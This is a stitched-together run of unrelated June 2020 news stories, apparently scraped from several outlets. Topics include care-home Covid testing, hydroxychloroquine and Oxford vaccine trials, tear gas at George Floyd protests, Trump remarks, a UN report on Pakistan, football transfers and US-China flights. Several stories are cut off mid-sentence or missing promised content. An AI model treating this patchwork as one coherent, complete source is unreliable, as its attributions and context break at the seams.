'On public transport you could be next to somebody for 10, 20 minutes, 30 minutes so there is a much larger chance of being close to somebody for a longer period of time plus the guidance for shops is don't let the shop become overcrowded and that is something you can control with queues outside the shops, we are all used to them now, two metre queues outside.'

Meanwhile, the government insists it is still on track to offer testing for residents and staff at every care home for the over 65s by June 6 - today - despite fresh concerns from industry bosses.

It comes as government data showed the number of people dying in care homes soared by 61 per cent during March and April as the Covid-19 outbreak gripped England and Wales.

Office for National Statistics (ONS) figures showed hospital deaths fell by 21 per cent between March 7 and May 1, while they rose 43 per cent in private homes.

Care homes are STILL waiting for Covid tests after weeks of asking - as government rushes out kits to all residences where people are all aged over 65 Care homes are still waiting for coronavirus tests despite weeks of asking, while dozens more who sent off samples ended up receiving useless results. The government pledged to offer testing for residents and staff at every care home for the over 65s by June 6 - today - and insists it is still on track to meet that target despite fresh concerns from industry bosses. Almost half (43 per cent) of the 264 homes which responded to a survey by the National Care Forum (NCF) said they'd been given void and inconclusive results. Care homes are still waiting for coronavirus tests despite weeks of asking (stock picture) Another 12 per cent said they were still awaiting results while some 13 per cent had not even been given a home testing kit, as of Tuesday. There have even been 'hundreds' of cases of results going missing, according to BBC Radio Four's Today programme. It comes as government data showed the number of people dying in care homes soared by 61 per cent during March and April as the Covid-19 outbreak gripped England and Wales. Office for National Statistics (ONS) figures showed hospital deaths fell by 21 per cent between March 7 and May 1, while they rose 43 per cent in private homes. In a first-of-its-kind report, statisticians said undiagnosed cases were a 'likely explanation' for many of the 13,000 excess deaths not directly linked to Covid-19. But it also acknowledged that thousands of people may have avoided getting medical help out of fear of catching the virus or adding extra strain to an already over-stretched NHS. The government insists it is on track to offer testing for residents and staff at every care home for the over 65s by June 6 - today. Pictured: A paramedic holds a test tube containing a blood sample at an antibody testing program ONS data shows a large spike in the number of people dying in care homes in April, the peak of Britain's coronavirus crisis, as thousands fewer people died in hospitals during that time Care home bosses are also concerned at a lack of commitment to regular testing, particularly once lockdown ends and staff or visitors not showing symptoms could unknowingly have the virus and be spreading it among vulnerable residents. Other findings from the NCF survey included the majority respondents saying less than 10 per cent of staff and residents who tested positive were asymptomatic, though a few outliers reported a higher range of between 40 and 60 per cent. Furthermore, most care homes said that between 30 and 60 per cent of residents who had symptoms tested positive for the virus. Vic Rayner, Executive Director of the NCF said: 'Testing of all those receiving care and the staff delivering it has been recognised as an absolute priority. 'Our survey results highlight some key lessons that we have learnt from this first round of testing in terms of accuracy, timeliness and frequency. 'It is clear that there is a need to improve the accuracy and timeliness of the results from testing to enable social care providers to respond quickly to manage and prevent Covid-19 infections. 'Our findings also highlight key insights into the number of Covid-19 positive tests in asymptomatic staff and residents which emphasises why it is absolutely vital that we move to regular and repeat testing as it is an essential tool in the fight against Covid-19. 'The findings related to the proportion of symptomatic residents who are not testing positive reinforces the need for regular, repeat testing to avoid unnecessary isolation and the impact this has on the mental health and wellbeing of residents. 'We welcome the positive step the government is taking with its announcement that it will be rolling out whole care home testing with plans to extend the testing to a wider range of care settings.' A spokesman for the Department for Health and Social Care told MailOnline the government was still 'on track' to meet the target. Further details are expected to be announced in the coming days. Advertisement

Hydroxychloroquine does NOT treat Covid-19: Biggest study into the Donald Trump-backed anti-malaria drug is ended with 'immediate effect' after researchers found it made no difference Hydroxychloroquine does not treat coronavirus, according to the world's biggest trial of the anti-malaria drug backed by US President Donald Trump. Oxford University scientists pulled the controversial from the RECOVERY trial today after results showed it had no benefit on patients hospitalised with the virus. A quarter of NHS patients given hydroxychloroquine died from Covid-19, compared to 23.5 per cent who were not prescribed the drug. The scientists running the trial, which has recruited more than 1,500 patients from around 170 UK hospitals, said the results were 'pretty compelling', adding: 'This isn't a treatment that works.' Professor Martin Landray, lead author of the study, added: 'If you're admitted to hospital with Covid  you, your mother or anyone else - hydroxychloroquine is not the right treatment. It doesn't work.' He called for doctors around the world to stop using the drug, which can cause a slew of nasty side effects including heart arrhythmias, headaches and vomiting. But Professor Landray said the results do not necessarily mean the tablets cannot prevent people from catching Covid-19 in the first place, which several studies are still investigating. Early results on hydroxychloroquine from the RECOVERY trial were not supposed to released until July. But the study's chief investigators said they felt compelled to release the data and set the record straight on the drug, which has been at the centre of furious debate. US President Donald Trump hailed it as a wonder drug at the start of the crisis and admitted to taking it himself to ward off the infection, while countries like China and India regularly prescribe it to Covid-19 patients. It comes after medical journal The Lancet last night retracted a controversial study that found hydroxychloroquine raised the risk of death in Covid patients, which led to trials being halted around the world. Advertisement

Pharmaceutical giant AstraZeneca reveals it is ALREADY manufacturing Oxford University's experimental vaccine in India, the UK and Europe amid plans to distribute 2BILLION doses as early as September if it works

A British pharmaceutical giant is already manufacturing an unproven coronavirus vaccine as it hopes to dish out hundreds of millions of doses by September.

AstraZeneca has started to mass-produce the experimental AZD1222 jab, developed by Oxford University, at factories in India, Oxford, Switzerland and Norway.

The Cambridge-based firm expects to have distributed hundreds of millions of doses of the vaccine this year and at least 2billion by mid-2021.

It has signed deals to produce 400million doses for the US and 100million for the UK if it is successful in human trials. Results are expected in August.

Britain has agreed to pay for the doses 'as early as possible' - with ministers hoping for a third of those to be ready for September if proven effective.

Following an initial phase of testing on 160 healthy volunteers between 18 and 55, the study of AZD1222 has moved to phases two and three.

It will involve increasing the testing to up to 10,260 people and expanding the age range of volunteers to include children and the elderly.

AstraZeneca's chief executive, Pascal Soriot, said he believes there will be 'several' Covid vaccines ready for mass-use this year

Pascal Soriot, chief executive of AstraZeneca, told BBC Radio 4's Today programme: 'We are starting to manufacture this vaccine right now. And we have to have it ready to be used by the time we have the results.

'Of course, with this decision comes a risk but it is a financial risk and that financial risk is that if the vaccine doesn't work.

'We will find this out at the end of August, then all the materials, all the vaccines we have manufactured will be wasted.'

WHAT IS THE OXFORD VACCINE? The vaccine is called AZD1222 and is made from a weakened version of a common cold virus (adenovirus) from chimpanzees that has been genetically changed so it is impossible for it to grow in humans. The intellectual rights to its vaccine are owned by the University of Oxford and a spin-out company called Vaccitech. Clinical teams at the Oxford University's Jenner Institute and Oxford Vaccine Group began developing the vaccine in January. It's a type of immunisation known as a recombinant viral vector vaccine. Researchers place genetic material from the coronavirus into another virus that's been modified. They will then inject the virus into a human, hoping to produce an immune response against SARS-CoV-2. This virus, weakened by genetic engineering, is a type of virus called an adenovirus, the same as those which cause common colds, that has been taken from chimpanzees. If the vaccines can successfully mimic the spikes inside a person's bloodstream, and stimulate the immune system to create special antibodies to attack it, this could train the body to destroy the real coronavirus if they get infected with it in future. It was developed so rapidly by Sarah Gilbert, a professor of vaccinology, and her team because they already had a base vaccine for similar coronaviruses. The team have gone through stages of vaccine development that usually take five years in just four months. However, Professor Gilbert said that none of the normal safety steps had been missed out. Advertisement

He said AstraZeneca would make no profit from the supply of the vaccine, adding: 'We felt that there are times in life that corporations need to step up and contribute to resolving a big problem like this one, so decided to do it at no profit.'

However this will only last until the World Health Organization (WHO) officially brings the crisis down from the level of 'global pandemic'.

Estimates suggests the world will need around 4.5billion vaccine doses to put an end to the pandemic.

The virus is so hard to track and spreads so easily that experts believe it will continue to spread through the human population indefinitely, if a vaccine cannot be found.

AstraZeneca announced a deal last week with Oxford BioMedica to manufacture the Covid vaccine at its manufacturing centre in Oxford.

AstraZeneca will have access to the company's 84,000-square-foot factory and will turn out most of the clinical and commercial supply of the vaccine this year.

Mr Soriot also announced a licensing deal with the Serum Institute of India to provide 1billion doses of the vaccine to low- and middle-income countries by 2021. The goal will be to manufacture 400 million doses in its factory by the end of 2020.

And today AstraZeneca signed a deal with the Coalition for Epidemic Preparedness Innovations (Cepi) in Norway and Gavi, the Vaccine Alliance, in Switzerland.

The companies will help manufacture 300million globally accessible doses of the coronavirus vaccine this year.

But a leading member of the Oxford University trial of AZD1222 has warned the study has only a 50 per cent chance of being successfully completed.

Lower transmission of the coronavirus in the community means it will be harder for trial participants to catch the virus, and for scientists to see if the vaccine is protective.

Oxford University's Jenner Institute and the Oxford Vaccine Group began development on a vaccine in January, using a virus taken from chimpanzees.

Professor Adrian Hill, director of Oxford University's Jenner Institute, said he expected fewer than 50 of those to catch the virus. The results could be deemed useless if fewer than 20 test positive.

'We said earlier in the year that there was an 80 per cent chance of developing an effective vaccine by September,' he told The Sunday Telegraph.

'But at the moment, there's a 50 per cent chance that we get no result at all.

'We're in the bizarre position of wanting Covid to stay, at least for a little while. But cases are declining.'

If SARS-CoV-2, the virus that causes the disease COVID-19, is not spreading in the community, volunteers will find it difficult to catch, meaning scientists can't prove whether the vaccine actually makes any difference.
Memorial Hospital Foundation has generously donated $394,000 to Memorial Hospital to purchase a Hologic 3D Dimension state-of-the-art mammography unit.

The purchase was approved in February and the staff at MHSC have been working diligently to get the equipment installed, tested, and ready for the community.

Our staff are all trained and we are now scheduling patients. We are so excited to now offer this service to our community, said Tracie Soller, MHSC Director of Medical Imaging.

The new 3D Mammography Unit is proven to detect 20%-65% more invasive breast cancers compared to 2D al...
MANZINI  The third COVID-19 patient who passed away was a member of the Umbutfo Eswatini Defence Force (UEDF) Based at Phocweni Army Barracks.

This was confirmed by a close relative of the late Toy Magangane Malaza, who preferred to comment on condition of anonymity.



He could only state that he was the deceaseds older brother.

Information gathered from the family member was to the effect that Malaza was granted sick leave by his authorities at Phocweni Army Barracks after he showed flu-like symptoms and was advised to visit a nearest hospital.



Worsened



However, according to the family member, the deceased resorted to going home at Dvokolwako under the impression that he was just suffering from a normal flu, only to find that on a Sunday night, a couple of days prior to his demise, his condition worsened.



According to the relative, Malaza had narrated to his family members that he nearly died during the night due to the ailment and he requested his wife and a certain man to drive him to Phocweni Army Barracks Clinic to seek medical attention.

The relative narrated that as per his request, Malaza was transported to Phocweni Army Barracks clinic for medical attention and upon arrival, he was transferred to the Raleigh Fitkin Memorial (RFM) Hospital as the condition seemed serious.

That was when tests for the virus were done. His results came back indicating that he had tested positive for COVID-19.



According to the relative, soon after Malaza tested positive for the virus, the doctors at RFM recommended that he be rushed to the Lubombo Referral Hospital where he was admitted.

However, he passed away while undergoing treatment.



When quizzed on when Malaza would be laid to rest, the relative mentioned that they were preparing for his funeral that would take place on Sunday at his parental home situated at Kadvokolwako, at around 5am and that there would be no vigil.

Due to the fact that the soldier was not aware of his positive status prior to being admitted to RFM, he is suspected to have unknowingly infected some of his relatives who are currently being treated.



UEDF Public Relations Officer (PRO) Lieutenant Tengetile Khumalo said her office had not received a report concerning Malazas demise.

As a point of clarification in addressing the adverse and inaccurate information about the sad passing of one of the members of the Defence Force, as stated in your enquiry, the public relations office would like to state it as ineffectual. My office has not received such a report. It would be fruitless to respond from an uninformative position, she said.
In nationwide demonstrations sparked by the killing of George Floyd in police custody, protesters have been frequently pepper-sprayed or enveloped in clouds of tear gas. These crowd-control weapons are rarely lethal, but in the middle of the coronavirus pandemic, there are strong calls for police to stop using these chemical irritants because they can damage the body in ways that can spread the coronavirus and increase the severity of COVID-19.

Even before the coronavirus pandemic, some experts said additional research was needed on the risks of tear gas  an umbrella term for several chemical riot-control agents used by law enforcement. Its known that the chemicals can have both immediate and long-term health effects.

Their widespread use in recent weeks while an infectious disease  for which there is no vaccine  continues to spread across the U.S., has stunned experts and physicians. The coronavirus that causes the disease COVID-19 is highly contagious, spreads easily through the air via droplets, and can lead to severe or fatal respiratory illness. Deploying these corrosive, inhalable chemicals could harm people in several ways: exposing more people to the virus, compromising the bodys ability to fight off the infection and even causing mild infections to become more severe illnesses.

This is a recipe for disaster, said associate professor Sven Eric Jordt, a researcher at the Duke University School of Medicine who studies the effects of tear gas.

Jordt refers to these chemicals as pain gases because they activate certain pain-sensing nerves on the skin and in the mucous membranes of the eyes, mouth and nose.

You have this excruciating pain, sneezing, coughing, the production of a lot of mucus that obstructs breathing, Jordt said.

People who have been exposed describe a burning and stinging sensation, even a sense of asphyxiation and drowning. Sometimes the chemicals cause vomiting or allergic reactions. In law enforcement, officers generally use two types of chemicals for crowd control: CS gas and pepper spray.

The active ingredient in pepper spray, called capsaicin, is derived from chiles. It is often sprayed from cans at close quarters or lobbed into crowds in the form of pepper balls.

CS gas (ochlorobenzylidene malononitrile) is a chlorinated, organic chemical that can induce very strong inflammation and chemical injury by burning the skin and airways when inhaled, Jordt said.

Using it in the current situation with COVID-19 around is completely irresponsible, he added. There are sufficient data proving that tear gas can increase the susceptibility to pathogens, to viruses.

Jordt said research on the harms of tear gas has not kept up with its escalating use in the U.S and around the world in recent years. Many of the safety studies that law enforcement officials rely on date to the 1950s and '60s, he said.

But a 2014 study from the U.S. Army offers an alarming glimpse into how the chemical could escalate the pandemic. The study found that recruits who were exposed to tear gas as part of a training exercise were more likely to get sick with respiratory illnesses like the common cold and the flu.

We have a lot of antiviral defenses that can inactivate viruses and prevent them from entering cells, he said. These are depleted by inhalation of tear gas and also compromised.

The findings of the Army study led the U.S. military to significantly reduce how much recruits were being exposed to the chemical.

Even the Army realized they had done something wrong and that this was more toxic than they thought before, Jordt said.

Even though there is a limited amount of research on this new coronavirus, there are studies from China and Italy about how other irritants, such as smoking and air pollution, affect COVID-19. These studies indicate that tear gas could also make people more likely to develop severe illness, said Dr. John Balmes, a pulmonologist at the University of California-San Francisco and an expert with the American Thoracic Society.

I actually think we could be promoting COVID-19 by tear-gassing protesters, said Balmes. It causes injury and inflammation to the lining of the airways.

Balmes said this period of inflammation sets back the bodys defenses, and makes it more likely that someone who already harbors the virus will become sick.

Its adding fuel to the fire, said Balmes. These exposures to tear gas would increase the risk of progression from the asymptomatic infection, to a symptomatic disease.

Growing evidence shows many people who have the coronavirus are asymptomatic and dont know they are infected, or are presymptomatic  infected with the virus and able to infect others, but not yet showing symptoms.

With thousands of people jammed together at mass protests, the demonstrations are already primed to be "superspreading events," which can lead to an explosion of new cases. Outdoor gatherings typically decrease the chance of spreading the coronavirus. But activities like singing and yelling can increase the risk.

Tear gas and pepper spray can also sow confusion and panic in a crowd. People may rip off their masks and touch their faces, leading to more contamination.

Dr. Amesh Adalja, with Johns Hopkins University, said the bodys reaction to the chemicals causes people to shed more of the virus.

If theyre coughing, the particles actually emanate and are projectiles that travel about 6 feet or so and could land on other people, said Adalja, who is also a spokesperson for the Infectious Diseases Society of America.

This is a way to almost induce the virus to be expelled from people when they are exposed to these agents.

Adalja anticipates the protests will inevitably lead to a spike in infections.

We know that any kind of social unrest, especially in the midst of an outbreak, is only going to make things worse, he said.

He said the most recent example would be bombings in Yemen that exacerbated a cholera outbreak.

Dr. Rohini Haar, an emergency physician in Oakland, California, has studied the use of riot-control agents around the world.

These weapons dont actually deescalate tensions in peaceful community policing, said Haar who is a lecturer at the University of California-Berkeley.

Haar has also been treating COVID-19 patients. She recognizes there is a danger of spreading the virus at these gatherings, but she would not discourage people from attending the protests and exercising their right to free speech.

Its a really tough situation, said Haar. I think the irony is that people are rightfully and justifiably protesting police violence and are being met with violence that is worsening the pandemic conditions were living under right now.

This week, more than a thousand physicians and health care professionals signed an open letter in support of the demonstrations.

Dr. Jade Pagkas-Bather, an infectious disease expert at the University of Chicago, is one of them. She said it will be difficult to determine whether any spike in cases was a direct result of the protests, because theyre happening at a time when many states are also allowing businesses to reopen.

In everyday life, we weigh the risks and benefits of our actions. People who are going out to protests are clearly at a critical juncture where they are saying this state-sanctioned violence is unacceptable, and I am willing to put myself and others potentially at risk, she said.

The open letter she signed recommends ways that protesters, police and local officials can reduce the transmission of the virus. Among the major recommendations: Police should not use tear gas or pepper spray.
The National Democratic Congress (NDC) has opened slots for three candidates to file nomination for consideration as the parliamentary candidate for the Tema East Constituency.



This is due to the absence of the elected parliamentary candidate, Ashai Odamtten, who has been out of the jurisdictions since September 2019.



In a letter sighted by GhanaWeb, the Regional Secretary, Theophilus Tetteh Chai, tasked the Executive Committee to meet and nominate three candidates for consideration for the Tema East Parliamentary elections.



The Parliamentary candidate for Team East Constituency, left the country for the US in September 2019 which was just two weeks after the parliamentary primaries of the party and has since not returned back to Ghana.



Ashai Odamtten served as the Chief Executive of the Tema Municipal Assembly in the previous Mahama administration.



Below is the letter





Source: Ghanaweb









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D onald Trump has sparked anger by saying "it's a great day for George Floyd" as he announced improved US job numbers, saying they were a "tremendous tribute to equality".

The US president spoke nearly an hour during the press briefing on Friday morning, only briefly mentioning Mr Floyd, the 46-year-old black man who died on May 25 after a white police officer pressed his knee on his neck for nearly nine minutes.

"Hopefully George is looking down right now and saying theres a great thing happening for our country," Trump said, saying that an economic rebound "is the greatest thing that can happen for race relations."

"Its a great day for him. Its a great day for everybody."

He added: "Equal justice under the law must mean that every American receives equal treatment in every encounter with law enforcement, regardless of race, colour, gender or creed.

"They have to receive fair treatment from law enforcement. They have to receive it. We all saw what happened last week. We can't let this happen."

The death of Mr Floyd last month touched off the most serious wave of civil unrest in the US since the assassination of Martin Luther King Jnr in 1968.

From Paris and London to Tel Aviv, Sydney, Johannesburg and Rio de Janeiro, the killing has also prompted demonstrations across the world, with protesters decrying inequality, police brutality and other problems in their own countries.

During the press briefing at the White House, Mr Trump celebrated a US employment report which showed the country gained more than 2.5 million jobs last month during the thick of the coronavirus pandemic, and predicted the battered economy will have recovered by 2021.

I had to clip this because it is unbelievable. President @realDonaldTrump just said this: Hopefully, George is looking down right and saying this is a great thing thats happening for our country. Its a great day for him, its a great day for everybody. #GeorgeFloyd pic.twitter.com/6CbGoLJrRg  Vladimir Duthiers (@vladduthiersCBS) June 5, 2020

"We're bringing our jobs back," Mr Trump said. "I think we're actually going to be back higher next year."

Trump pitched himself as key to what he claimed would be a "rocket ship" economic rebound, and offered that as an argument for his reelection in November.

"I'm telling you next year, unless something happens or the wrong people get in here, this will turn around," Trump said.
A new UN report that refers to the presence of thousands of Pakistani terrorists in Afghanistan is a reiteration of Prime Minister Imran Khans acknowledgement last year that his country hosts up to 40,000 terrorists, people familiar with developments said on Friday.

Reacting to the Pakistan foreign offices contention that the Indian external affairs ministry was using the UN report to slander Pakistan, the people, who spoke on condition of anonymity, said the UN Security Councils analytical support and sanctions monitoring team had only reiterated what Khan has already confessed.

As first reported by HT, the UN report, issued last month, said there were some 6,500 Pakistani nationals among foreign terrorists operating in Afghanistan, and the Jaish-e-Mohammed (JeM) and Lashkar-e-Taiba (LeT) play a key role in bringing foreign fighters into the war-torn country.

Pakistans foreign office would do well to recall that their prime minister admitted last year that Pakistan still hosts 30,000 to 40,000 terrorists. Pakistans leadership is also on record acknowledging that in the past, terrorists had used the countrys soil to carry out terror attacks on other countries, said one of the people cited above.

At the US Institute of Peace in Washington last July, Khan had said Pakistan still has about 30,000 to 40,000 armed people who have been trained and fought in some part of Afghanistan or Kashmir.

The UN Security Councils analytical support and sanctions monitoring teams report has only reiterated what the prime minister of Pakistan has already confessed. Instead of casting aspersions on the report, Pakistan should introspect and put an end to any kind of support for terrorism emanating from territories under its control, the person said.

The person added that the UN and the world community are acquainted with the reality that Pakistan is the nerve centre of terrorism.

Pakistan houses one of the largest numbers of UN-designated terrorists and terrorist entities, and its fallacious attempts to point fingers at others cannot deflect attention from the facts on the ground, the person said.

Moreover, Pakistans attempts to create a divide in the traditional and friendly relations between the people of India and Afghanistan will not succeed. The people of Afghanistan and the international community are well aware of who the spoiler is, and who is sheltering, training, arming and financing terrorists and sponsoring violence against innocent Afghans and members of the international community, the person said.

In a statement issued on Thursday, Pakistans foreign office had contended the external affairs ministry had misrepresented the UN report to slander Pakistan. Pakistan categorically rejects Indias malicious allegations, which are aimed at misleading the international community, it said.

The statement said there was no reference to safe havens in Pakistan in the report, which it claimed was based on briefings provided in Afghanistan to the [UN team] by certain quarters who have long expressed scepticism about the Afghan peace process.

The foreign office also contended India was trying to create complications for the Afghan peace process, and that Pakistan had highlighted what it was said was Indias sponsorship of terrorist organisations in Afghanistan.

External affairs ministry spokesperson Anurag Srivastava had reacted to the UN report by expressing Indias serious concern at the continued presence in Afghanistan of the senior leadership of al-Qaeda and a large number of foreign terrorists, including 6,500 Pakistan nationals. The report, he said, vindicates Indias long-standing position that Pakistan remains the epicentre of international terrorism.

...
By PTI

NEW DELHI: Drug major Sun Pharmaceutical Industries on Friday said it has commenced phase-2 clinical trials on AQCH, a plant-derived drug, for potential treatment of COVID-19.

The company received approval from the Drugs Controller General of India (DCGI) for conducting the trials of the phytopharmaceutical drug in April this year, Sun Pharma said in a statement.

"The clinical trials will be conducted across 12 centres in India on 210 patients. The treatment duration for patients will be 10 days. The results of the clinical trials are expected by October 2020," it added.

Human safety study of AQCH has already been completed and the drug has been found safe at the recommended dose for phase-2 study, Sun Pharma said.

"This is the first phytopharmaceutical drug approved for clinical trials by the DCGI as a potential treatment for COVID-19. AQCH has shown anti-SARS-CoV-2 effects in in-vitro studies conducted in collaboration with ICGEB, Italy," Sun Pharma MD Dilip Shanghvi said.

These results combined with information on mechanism of action through in-vitro and small animal studies give us the confidence to evaluate this potential treatment option for COVID-19 patients, he added.

AQCH, which is being developed for dengue, has shown broad antiviral effect in in vitro studies and hence is being tested as a potential treatment option for COVID-19, Sun Pharma said.

"Our efforts to develop a safe, effective and affordable drug against dengue started about 13 years ago. The collaborating team quickly initiated studies for the development of a drug against COVID-19," Department of Biotechnology Secretary Renu Swarup said.

Stating that Council of Scientific and Industrial Research (CSIR) has had a close association with the Indian pharma industry, CSIR DG Shekhar C Mande said the council "welcomes this collaboration with Sun Pharma in taking forward AQCH into clinical trials for COVID-19 patients. This collaboration aligns with our scientific rationale for the quickest way to develop drugs against SARS-CoV-2".

Shares of Sun Pharmaceutical Industries were trading at Rs 504.15 per scrip on BSE, up 1.67 per cent from their previous close.
John Barnes has claimed Jurgen Klopp won't be frustrated at missing out on Timo Werner to Chelsea - because he would have signed the striker if he'd wanted to.

On Thursday evening it emerged that the Blues had beaten rivals Liverpool in the race to sign the RB Leipzig star after agreeing a five-year contract worth around 180,000 a week with him.

The Germany international, who will cost the Blues 53million, had been expected to move to Anfield this summer after holding talks with Klopp earlier this year.

RB Leipzig striker Timo Werner has agreed to join Chelsea in a 53million deal this summer

Werner had been expected to join Liverpool after holding talks with manager Jurgen Klopp

But with the coronavirus crisis affecting Liverpool's finances, the club were reluctant to meet the hefty release clause in Werner's contract with the Bundesliga side.

Klopp must now turn his attention to other attacking options, but Barnes insists that the German would have had the final say on the decision not to bring in Werner.

'We've seen over the last couple of years that we trust Jurgen Klopp,' the former Anfield favourite said on behalf of bonuscodebets.co.uk.

'If Jurgen Klopp wanted him, he would have got him, he would have demanded that they paid the money if he felt it was worth it.

The Germany international has a release clause of 53million, which the Blues will trigger

Liverpool legend John Barnes believes Klopp will not be fussed about missing out on Werner

'If he doesn't feel its worth it, whether it is money or whatever reason, then we don't get him.'

Barnes, who won 79 caps for England, lifted two First Division titles and two FA Cups during a decade at Anfield after arriving from Watford in 1987.

And he believes that if Liverpool had also agreed to meet Werner's release clause, the 24-year-old would have rejected Chelsea and moved to Merseyside instead.

Barnes thinks Werner would have chosen Anfield over Stamford Bridge if given the chance

'So, I think that had Liverpool wanted him, he would have gone to Liverpool rather than Chelsea,' he added.

'I'm not saying that he's not a good player, but Jurgen Klopp has taken a decision that he didn't want him that badly in terms of the money that they were going to spend and we trust him.

'We're not going to feel that we've lost out to Chelsea, we would not have lost out to Chelsea had Jurgen Klopp wanted him badly enough.'
Sexual violence survivors living in direct provision are facing serious barriers to accessing rape crisis support, which is completely remote at the moment, Rape Crisis Network Ireland (RCNI) has warned.

With all access to rape crisis support being carried out remotely due to the pandemic, survivors often cannot speak privately with their counsellors where there is internet and phone poverty.

This is a particularly acute problem for asylum seekers and refugees living in direct provision, compounding already barely tolerable conditions, according to Cliona Saidlear, RCNI executive director.

We are highly concerned for the wellbeing of these survivors, Ms Saidlear said. These vulnerable survivors often do not have their own phone but need to borrow one for phone calls.

They may only have access to phones that work on public WiFi, so struggle to make private calls. Our clients privacy is at risk every time we make a call, she added.

These are all barriers from engaging fully or at all in much-needed specialist support. Some of the solutions are simple, such as a rape crisis centre being able to pay for phone credit for the survivor.

During the pandemic, Rape Crisis Centres are currently meeting clients' needs, and enabling access to specialist rape crisis support, whether paying for a taxi fare or phone credit, or putting together a care package. However, this expenditure is currently problematic under statutory funding, according to Ms Saidlear.

The RCNI has asked the Minister of Justice to allow for this discretionary spending to ensure access.
Republicans could be facing a day of reckoning over some of the party's most divisive candidates.

So far the results are mixed, a concern for the party as the US shudders from coast-to-coast civic unrest moving ever closer to November elections.

Republican leaders aiming to broaden the party's appeal were buoyed when Iowans refused to renominate Representative Steve King, who is known for racially incendiary comments.

But Secretary of State Mike Pompeo, their surest bet for derailing a Republican immigration hard-liner who might cost them a Senate seat from deep-red Kansas, definitively dodged that race this week.

But most troublingly, President Donald Trump has exhibited little empathy as he taunted demonstrators as "thugs", accused governors of being "weak" on protesters and threatened to deploy the military to their states.

His tweets such as "when the looting starts, the shooting starts" were noteworthy for their pugnacious tone as dozens of cities have been rocked by protests, some violent, over the killing of African Americans by police.

Mr Trump is betting such tactics will make him look strong heading into the election. And Republicans often overlook his more controversial actions for fear of angering his passionate base. But this time, some worry about having such a polarising leader atop the ticket during an unprecedented period which includes civil disturbances, the coronavirus pandemic and a collapsed economy.

"He's driving away moderate Republicans and independents en masse," said former senator Jeff Flake, who retired last year after clashing with Mr Trump. "For Republicans who need to appeal to a broader base, it's devastating."

Asked if Mr Trump might alienate such voters, especially suburban women who have already been abandoning the Trump-led party, re-election campaign spokesman Tim Murtaugh said city and suburban residents "deserve to be able to feel safe".

He said Mr Trump has expressed disgust that George Floyd, a handcuffed black man, died last week in Minneapolis after a white officer held his knee on Mr Floyd's neck for over eight minutes, but added: "He is going to restore law and order, and all Americans should welcome that."

Republicans argue that Democrats have polarising figures of their own and often point to Senator Bernie Sanders and Representative Alexandria Ocasio-Cortez to paint all Democrats as socialists.

Democratic voters rejected Mr Sanders this year as their presidential nominee in favour of the more moderate Joe Biden. And while Mr Sanders and Ms Ocasio-Cortez are prominent leaders, their call for "revolution" has often been more rhetorical than literal.

Republican leaders are taking steps to withhold support from candidates with extreme views. House minority leader Kevin McCarthy has pulled backing for House candidate Ted Howze in California because of demeaning online posts about Muslims and Hillary Clinton, which Howze said he didn't write. They have also distanced themselves from Oregon Republican Senate candidate Jo Rae Perkins, a supporter of the QAnon conspiracy theory that claims Mr Trump is leading a secret campaign against "deep state" enemies and paedophiles.
We ave been prophesying that this day would come, said the Rev. H. Lionel Edmonds, senior pastor at Mount Lebanon Baptist Church. We are positioned . . . to lead [in] the creation of a new city, one where everyone can share in the abundance and the wealth and the prosperity for all of Gods children.
Several beauty influencers have apologized after they were criticized for creating controversial makeup looks to show their support for Black Lives Matter and to protest the killing of George Floyd.

Ashley Richter, a beauty influencer with more than 16,000 followers on Instagram, posted a photo of herself with a raised Black fist covering the right half of her face, along with several messages, including "Black lives matter," "Justice 4 George Floyd" and "I can't breathe."

"I made this post on Instagram thinking I was spreading awareness, however, I was quickly educated on how/why my post was offensive and tone deaf and deleted it immediately," Richter told TODAY Style.

Ashley Richter deleted her Instagram post after learning why it was

A German teenager who shares makeup looks under the name @catharinas_beauty posted a TikTok video of herself painting half her face black while the Childish Gambino song "This is America" played in the background. She later deleted the video, however, a copy was shared on Twitter.

Catharina apologized on Instagram and explained that she wasn't aware of the racist history of blackface before she created the look and said she hopes people can forgive her.

While some deleted their posts, Amelie Zilber, a model and youth UNICEF ambassador with more than 2 million followers on TikTok, left up a video of her Black Lives Matter makeup. In the video, Zilber turns to face the camera and raises her fist.

On one side of her face is a raised Black fist. She wrote BLM on her forehead and "I CAN'T BREATHE," which Floyd repeatedly told cops, around her neck.

Zilber, who is the daughter of Christina Zilber, CEO of Jouer Cosmetics, did not respond to a request for comment.

The trend was called out by other popular beauty YouTubers.

"Logging in and actually seeing people creating I cant breathe makeup looks................... friendly reminder: dont be that person," Nikkie de Jager wrote on Twitter. "Its disrespectful and low, have some respect, sign petitions and DONATE!"

Story continues

logging in and actually seeing people creating I cant breathe makeup looks................... friendly reminder: dont be that person  its disrespectful and low, have some respect, sign petitions and DONATE!  NikkieTutorials (@NikkieTutorials) May 29, 2020

Alissa Ashley, a beauty YouTuber with more than 2 million subscribers, also encouraged people to find better ways to listen and show their support.

"Raising awareness isnt using fake blood to appear beaten up. Its not using a darker shade of foundation to show your solidarity. Its not writing a dying mans last words on your lips. Black peoples trauma/reality isnt a makeup trend. Like yall cant possibly be this dumb" she wrote on Twitter.

Richter, who deleted her post, also has a message for other beauty influencers.

"If you are thinking of doing a makeup look, PLEASE PLEASE RECONSIDER and use your time better to donate, sign petitions, uplift Black creators and take action," she said. "I am deeply sorry to those I offended with my ignorance and will continue to do better to become a better ally."
A China Eastern Airlines aircraft and Shanghai Airlines aircraft are seen in Hongqiao International Airport in Shanghai

By David Shepardson

WASHINGTON (Reuters) - The United States will permit Chinese passenger air carriers to operate two flights per week after Beijing said it would ease coronavirus-related restrictions to allow in more foreign carriers, the U.S. Transportation Department said on Friday.

On Wednesday, President Donald Trump's administration said it planned to bar all Chinese passenger airlines from flying to the United States by June 16 due to Beijing's curbs on U.S. carriers amid the pandemic.

The revised Transportation Department order cuts in half the four weekly round-trip flights Chinese passenger carriers have been flying to the United States and takes effect immediately.

The department said if China takes further steps for U.S. carriers it is "fully prepared to once again revisit the action." The notice added that the department is "troubled by China's continued unilateral dictation of the terms of the U.S.-China scheduled passenger air transportation market without respect for the rights of U.S. carriers."

The announcement defuses a potential new flashpoint in the U.S.-China relationship. The Chinese Embassy in Washington did not immediately comment.

China's announcement should allow U.S. carriers to resume once-a-week flights into a city of their choice starting on Monday, a fraction of what the U.S.-China aviation agreement allows.

The U.S. limit affects U.S. roundtrip flights by Air China, China Eastern Airlines Corp, China Southern Airlines Co and Xiamen Airlines Co. It is not immediately known which flights will be allowed to continue.

There are currently 152 flights scheduled from China to the United States in June, including 92 on United Airlines and the remainder on Chinese carriers, and 2,118 in July, according to aviation data provider Cirium.

